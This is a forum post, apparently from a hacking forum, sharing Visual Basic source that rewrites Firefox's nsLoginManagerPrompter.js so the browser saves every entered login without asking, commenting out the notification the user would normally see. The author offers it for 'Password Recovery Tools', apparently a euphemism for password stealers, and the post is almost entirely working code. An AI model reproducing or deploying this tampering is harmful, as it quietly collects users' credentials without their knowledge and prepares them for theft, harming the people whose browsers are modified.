[SRC][VB] Firefox Auto Save Passwords

Here it is little Source file to make firefox to save passwords Automatically without Prompting idea was from lobe but i aint doing as he doing little modified and easy to use for working in vista need admin access .. error handling not coded If you are using it Please give me credits

'FirefoxAutoSavePasswords.bas by Mr52 / 7
'Leave Me Credits if using
'http://h7labs.org
'Thanks for lobe for idea :)

Public Sub firefoxAutoSave()
Dim fPath As String
Dim fVer As String
Dim nJS As String
Dim oStr As String, rStr As String
Dim a As Integer, i As Integer
Dim tmp As String
fVer = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox\CurrentVersion")
fPath = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox\" & fVer & "\Main\Install Directory")
nJS = FileText(fPath & "\components\nsLoginManagerPrompter.js")
oStr = "var pwmgr = this._pwmgr;"
rStr = oStr & vbCrLf & "pwmgr.addLogin(aLogin);"
tmp = Replace(nJS, oStr, rStr)
tmp = Replace(tmp, "this._showLoginNotification(aNotifyBox", "//this._showLoginNotification(aNotifyBox")
tmp = Replace(tmp, "notificationText, buttons);", "//notificationText, buttons);")
Open fPath & "\components\nsLoginManagerPrompter.js" For Output As #1
Print #1, , tmp
Close #1
End
End Sub
Public Function RegRead(Path As String) As String
On Error Resume Next
Dim ws As Object
On Local Error GoTo ErrHandler
Set ws = CreateObject("WScript.Shell")
RegRead = ws.RegRead(Path)
Exit Function
ErrHandler:
RegRead = ""
End Function
Function FileText(ByVal filename As String) As String
    Dim handle As Integer

    ' ensure that the file exists
    If Len(Dir$(filename)) = 0 Then
        Err.Raise 53   ' File not found
    End If

    ' open in binary mode
    handle = FreeFile
    Open filename$ For Binary As #handle
    ' read the string and close the file
    FileText = Space$(LOF(handle))
    Get #handle, , FileText
    Close #handle
End Function

Usage Call firefoxAutoSave This should helpful for ur Password Recovery Tools

Advertisement